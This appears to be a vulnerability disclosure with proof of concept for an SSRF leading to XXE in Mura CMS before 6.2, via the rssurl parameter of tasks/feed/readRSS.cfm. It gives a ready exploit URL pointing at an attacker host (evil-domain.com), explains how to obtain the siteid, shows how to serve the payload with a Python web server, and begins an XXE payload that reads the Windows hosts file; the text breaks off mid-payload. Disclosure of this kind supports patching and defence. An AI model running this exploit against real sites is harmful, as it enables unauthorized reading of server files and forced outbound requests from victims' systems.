1. Description
Any user can cause Mura CMS before version 6.2 to make a http request. As an added bonus, the response from that HTTP GET request is passed directly to XmlParse(). It is possible to read a file from the file system using an XXE attack.
2. Proof of Concept
vulnerable file is on github, line 50:
https://github.com/blueriver/MuraCMS/blob/c8753ce80373eca302c6d9d8a02ff63a1d308991/tasks/feed/readRSS.cfm
http://www.target.tld/tasks/feed/readRSS.cfm?siteid=SITENAMEHERE&rssurl=http://evil-domain.com/file.xml&MAXRSSITEMS=500
Explanation of params
siteid - The siteid can be obtained by viewing the html source code of the target home page and searching "siteid".
rssurl - This is the URL you want Mura CMS to call out to.
To perform a XXE attack, you will need to stand up a web server: python -m SimpleHTTPServer 80
Then create a file:
<?xml version="1.0" ?>
<!DOCTYPE rss [
<!ENTITY send SYSTEM "file:///c:\Windows\System32\drivers\etc\hosts">
]>
<rss version="2.0">
<channel>
<title>title</title>
<link>link</link>
